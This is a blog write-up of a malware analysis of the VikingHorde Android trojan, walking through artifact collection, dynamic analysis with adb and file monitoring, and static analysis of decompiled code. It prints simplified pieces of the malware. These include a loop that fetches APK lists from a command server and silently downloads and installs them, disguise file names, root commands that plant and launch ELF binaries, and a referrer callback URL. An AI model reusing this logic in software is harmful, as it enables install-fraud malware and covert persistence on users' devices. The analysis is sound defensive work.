|| Date: 19-03-07 || Back to index ||
|| Tag: write-up ||

VikingHorde Android Malware Analysis

This write-up is part of my talk in BSides Ljubljana 0x7E3. Code samples are on GitHub

Malware analysis, just like any analysis, must follow a methodology that would abstract the workflow and direct the analyst’s attention towards the important bits in order to maximize efficiency. Furthermore, following a methodology allows the analyst to take a surgical approach towards dissecting the sample rather than get lost analyzing an irrelevant code snippet or, even worse, confuse the functionality and introduce errors during the reporting stage.

In this write-up, the Android malware titled VikingHorde will be used as a demonstration to test the malware analysis methodology taught by SANS FOR610 class. It boils down to three major stages:

The malware can be downloaded from TheZoo.

There have been previous Write-ups from CheckPoint and CNET regarding the same malware.

DISCLAIMER: This is very much a live malware. Experiment at your own peril.

Artifact Collection

VirusTotal has a good automated breakdown. Unpacking and decoding the AndroidManifest.xml should reveal more.


<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="com.android.vending.BILLING"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission-sdk-23 android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>

None of the above really stand out as critical. A few preliminary thoughts on the above: - WRITE_EXTERNAL_STORAGE: Files will be written in world-writeable locations - RECEIVE_BOOT_COMPLETED: Check the </receiver> tag for receivers of BOOT_COMPLETED intent.



They’re using Cocos2dx game engine which is a C++/Lua engine. There are other activities, which mean they definitely modified the Java side. The AppActivity could be doing more than just initializing the Cocos2dx engine.



Interesting Strings

I like VirusTotal’s string collection mechanism. It’s simple and uniform across all file types:

We can safely ignore the LinkedIn, PayPal and other googleapis.com hosts. The two most interesting ones are the and loginprotect.mobi hosts. The first one could be a C&C server. The second could be used for passing install referrers as callback parameters for CPI (Click-per-install) campaigns.

VirusTotal’s help can stop right here since most of what will be discussed below was not found in their analysis.

Raw Resources

- aps_exec
- aps_exec_watch_dog
- gtm_analytics

We got some ELF binaries here.

Native Libs


In Android, .so shared objects are used to call the Java Native Interface (JNI) to get more granular access to the system. This is possible through Android NDK toolset. We’ll have to look out for functions with the native keyword since they call that underlying layer.

Dynamic Analysis

Environment Setup

Protection by Google Play

When analysing malware on Windows, you should use a virtual machine that has its anti-virus turned off.

When analysing malware on Android, Google Play Protect will block the installation, especially if it was an older malware. The good thing is that Google will put that decision in the user’s hand.

Google Play Protect

ARM vs x86 Android Emulators

It’s important to note that ARM emulators on Android are slow and practically unusable. This is because most host machines run x86 and executing ARM instructions on an x86 machine is terribly slow. In most cases, the analyst can get away with running an x86 emulator on an x86 host. In our case, however, VikingHorde has a native library, libaps_exec.so, which is built for ARM devices only.

In most cases, running a malware on a rooted device is about the most harmful thing one can do. With LineageOS, however, we have the ability to disable root access for apps, which is what I’ve done with this analysis.

There are some interesting alternatives that could be useful to look into. Intel’s libhoudini allows ARM instructions to run on x86 hardware. There’s also Anbox which is basically a container solution for Android systems.

Network Artifacts

Around 3 minutes after running the app and playing with it for a while, we see a lot of requests to chartboost and the ominous two requests to and http://loginprotect.mobi/callback.php?referer=.

Chartboost is an in-app monetization platform.

The ecspectapatronum and loginprotect.mobi requests, however, timed out since the servers are not online at the time of the analysis. The static analysis part should tell us how that should’ve been processed.

Running Services

ADB (Android Debug Bridge) is your Android swiss-army knife. It contains all the necessary commands to enumerate the entire running device.

[0] % adb shell dumbsys activity services | grep -A2 -B2 com.Jump.vikingJump

ACTIVITY MANAGER SERVICES (dumpsys activity services)
  User 0 active services:
  * ServiceRecord{44bbcf5 u0 com.Jump.vikingJump/com.fa.c.SystemService}

com.Jump.vikingJump is the package name of our app. We got it from the manifest.

com.fa.c.SystemService is a long-running service running in the background (the words foreground here doesn’t mean the user can see it). We can also see that it is masquerading under processName=com.system.service.

File Monitoring

About scripts/andmon.sh

scripts/andmon.sh is basically poor-man’s version of RegShot for files.

The first time it runs, it will place an empty timestamp file in the Android device

The second time it runs, it will basically dump a record of all the changed files in the system

Currently, it doesn’t understand symbolic links and it requires busybox to download. scripts/install_busybox.sh is a quick way to bootstrap a rooted device.

Results of scripts/andmon.sh

scripts/andmon.sh script found a few interesting artifacts.



/data/data/com.Jump.vikingJump/app_webview/Web Data
/data/data/com.Jump.vikingJump/app_webview/Web Data-journal

Findings: - The chartboost SDK that’s included in the app created a /storage/emulated/0/.chartboost directory and it saved some cache and tmp files. Some of them are related to the played video ad. - com.android.vending registered my email address in some logs. That’s pretty natural since Google Play Games was invoked - com.jump.vikingjump stored many files in shared_prefs, a key-value store for apps. This would be worth checking - com.jump.vikingjump stored some files in app_webview which is a directory that a WebView would have write-access to.

Looking deeper into com.Jump.vikingJump_preferences.xml:

VikingHorde Shared Preferences

We’ll have to go through the static analysis step to understand those values. We can infer that KEY_INSTALL_TYPE=0 might mean that the app detected this device as non-rooted, though.

Questions For the Next Step

Static Analysis

Rule Zero

Before diving into decompilers and disassemblers, it’s important to note that mapping out the entire application is exhausting, time wasting, and downright wrong.

A better approach would be to come up with a set of questions and search for the answers inside the disassembled code.

Such a methodology would disregard and go beyond the binary type and disassembling tooling since the analyst can use any tool at hand to answer those questions, if they are answerable at all during the code analysis step.

To summarize, come up with a set of questions based on the past two stages BEFORE diving head first into a disassembler.

Disassembler Requirements

Whichever tooling one would use, it is necessary for it to include three features: - Ability to comment and rename functions - Ability to search through the code - Ability to rename functions - Possibly, the ability to generate a proper report from the above two

The Dalvik decompiler used for this analysis was Jadx. Jadx dumps everything as .java files. This allows the analyst to use simple Unix tools to comment, rename and build reports based on the findings, namely the following tools:

Entry Point Dissection

Before answering any questions, it is recommended that the analyst starts from the known entry point of the application and map out the basic lay of the application.

In Android, the entry point of the application is located in AndroidManifest.xml’s </Application>, under the attribute android:name.

In this app, however, there is no such attribute. The next possible entry point is the activity that has the android.intent.action.MAIN action and android.intent.category.LAUNCHER category. Reading the manifest would reveal that this is org.cocos2dx.cpp.AppActivity:

NOTE: Jadx does a very good job with decompiling Dalvik bytecode, however, for the purposes of this write-up, the decompiled code below was simplified by me. Furthermore, Jadx is an open-source tool and it fails/prints wrong code more often than not. This is why dynamic analysis is vital and cannot be skipped.

NOTE 2: The ANAL tag above is my own breakdown of the function. It’s best to achieve uniformity in formatting so as to simplify the report generation process– using scripts/anal_dump.sh in our case.

/** ANAL: AppActivity class
 * App's entry point
public class AppActivity extends com.carlospinan.utils.UtilActivity {
    protected void onCreate(android.os.Bundle savedInstanceState) {

As we can see, the class is pretty small. The main point of note is the UtilActivity inheritance. This means that UtilActivity overridden functions will be first executed before reaching to the half-empty AppActivity functions:

/** ANAL: UtilActivity.onCreate()
 * Entry point
 * - Call SetRandomNames()
 * - Call WriteDeviceInfo()
 * - Call Install()
protected void onCreate(android.os.Bundle savedInstanceState) {
    this.installType = com.p003fa.p004c.Utilities.GetInstallType(this.context);

    if (!com.p003fa.p004c.Utilities.IsRandomNames(this.context)) {


The most important part of the above is the Install() function. Looking deeper into it, we’ll note that Install() is split into two: InstallAsRoot() and InstallAsNonRoot():

What is the Meaning of The Random Names in Shared Preferences?

From the analysis of UtilActivity.onCreate() above, we see there is a call to SetRandomNames().

Looking deeper into UtilActivity.InstallAsRoot() shows that aps_exec and aps_exec_watch_dog will be installed with a random name from the following list taken from Utilities:

private static java.lang.String[] names = new java.lang.String[]{"update.dat", "settings.bin", "update.bin", 
"settings.dat", "kernel.bin", "core.bin", "core.sys", "hot_fix.dat", "android.bin", 
"sys.bin", "inet.dat", "wifi.bin", "fix.bin", "sys_driver.sys", "lock.dat"};

Afterward, the chosen name will be saved in shared preferences under com.Jump.vikingJump_preferences.xml. This actually explains the names we found earlier during dynamic analysis.

What is the output of

UtilActivity.InstallAsNonRoot() runs a runnable background thread which will call UtilActivity.InstallTaskHandler().

The purpose of this function is to make a GET request to and fetch a JSON array:

/** ANAL: SystemService.InstallTaskHandler()
 *  - Sleep 3 minutes
 *  - Make a GET reqeust to and fetch a JSON array of app names and download urls
 *  - Get a list of installed apps
 *  - Run through the fetched JSON array
 *      - Check that the app is not already installed
 *      - Download -> install -> delete the APK

private void InstallTaskHandler() {

    while (true) {
        Java.lang.String r = "";
        org.json.JSONArray jsonApps = new org.json.JSONObject(BytesToUTF8String(HttpGet(r))).getJSONArray("t");

        this._installedApps = GetInstalledApps();
        for (int i = 0; i < jsonApps.length(); i++) {
            org.json.JSONObject appJson = jsonApps.getJSONObject(i);
            Java.lang.String api        = appJson.getString("api");
            java.lang.String bundle     = appJson.getString("bid");
            java.lang.String id         = appJson.getString("id");
            java.lang.String url        = appJson.getString("url");
            java.lang.String hash       = appJson.getString("hash");

            if (IsAppInstalled(bundle)) {
            this._installTasks.add(new com.p003fa.p004c.SystemService.InstallTask(id, bundle, url, hash, api));

Analyzing further, we see that the JSON array contains information about different Android apps and a URL to download those APKs.

The function of the infinite while(true) loop above is: - Check if that app exists in the device - If not, download -> install -> delete and uninstall - Repeat until every element in the response is parsed

Every time an app is installed, an INSTALL_REFERRER will be fired with the referrer of that install. Looking back in the Artifact Collection stage, there was an InstallReceiver receiver registered to receive INSTALL_REFERRER intents.

The end result of that receiver is to fire a callback to http://loginprotect.mobi/callback.php?referer= and attaching the received referrer from INSTALL_REFERRER in that callback, completing the transaction.

Report Generation with scripts/anal_dump.sh

I made a small bash script to generate a report based on the commenting format we’ve made. The report output will look like this:

[0] % ./scripts/anal_dump.sh android.vikinghorde/dump_jadx/sources/com/ | head -50
>>>>>>>>>>>>>>>>> android.vikinghorde/dump_jadx/sources/com/p003fa/p004c/BootReceiver.java

/** ANAL: BootReceiver class
 * - Not rooted:
 *   - launch SystemService
 * - Rooted:
 *   - Relaunch watchdog and appsexec executables (see ANAL RootCommandExecutor for breakdown)


>>>>>>>>>>>>>>>>> android.vikinghorde/dump_jadx/sources/com/p003fa/p004c/RootCommandExecutor.java

/** ANAL: RootCommandExecutor class
 * Commands executed:
 * $ cat watchdog > /data/watchdog
 * $ cat apsexec > /data/apsexec
 * $ chmod 777 watchdog
 * $ chmod 777 apsexec
 * $ /data/watchdog cmd_args /data/apsexec exchange_file phone_num
 * Where:
 * - cmd_args = return new java.lang.StringBuilder(java.lang.String.valueOf(new java.lang.String(idBytes, "UTF-8"))).append(" ").append(timeOffsetByte).append(" ").append(version).append(" ").append(batery).append(" ").append(isWifi).toString();
 * - exchange_file = <RANDOM>
 * - phone_num = <PHONE_NUMBER>


>>>>>>>>>>>>>>>>> android.vikinghorde/dump_jadx/sources/com/p003fa/p004c/SystemService.java

/** ANAL: receiver_RRR_AAA_FFF broadcast receiver
 * RRR_AAA_FFF is a broadcast that gets launched from InstallReceiver and resent from
 * onNewIntent
 * - Set the extra "r" to `this.ref`
/** ANAL: runnable_loginprotect_callback Runnable
 *  - Sleep 3 minutes
 *  - Send callback to loginprotect.mobi


Using such a report, the analyst can leave the disassembler and use the above report as readable summaries of the analyzed functions.

Personally, I usually alternate between writing summaries above the function declaration, just as shown above, and between having a draft buffer open in my text editor where I categorize simple connections and how they relate to each other.


I fear I made this write-up too long already since the point is to explore the analysis methodology, not write a full-blown report. The last two questions we mentioned in the Questions For the Next Step will be left for the reader to explore.

In this write-up, three stages of analysis were explored: - Artifact collection - Dynamic analysis - Static analysis

The analyst will find themselves oscillating between the dynamic and static stages quite often since one piece of information during the static analysis would bring the analyst to modify their test environment and run it again.

In our malware, it would be very interesting to have mitmproxy or Inetsim return a valid JSON array when the malware requests and then track the execution of the malware live.

Furthermore, a few reporting techniques were mentioned, along with a pragmatic approach to static analysis, which, in the opinion of most analysts, is the most procrastinated/terrifying stage of the analysis. To repeat, the static analysis stage must never be approached blindly. The analyst must have a set of questions and a logical location on where to start answering those questions in mind, preferably written down, before looking at disassembly tooling.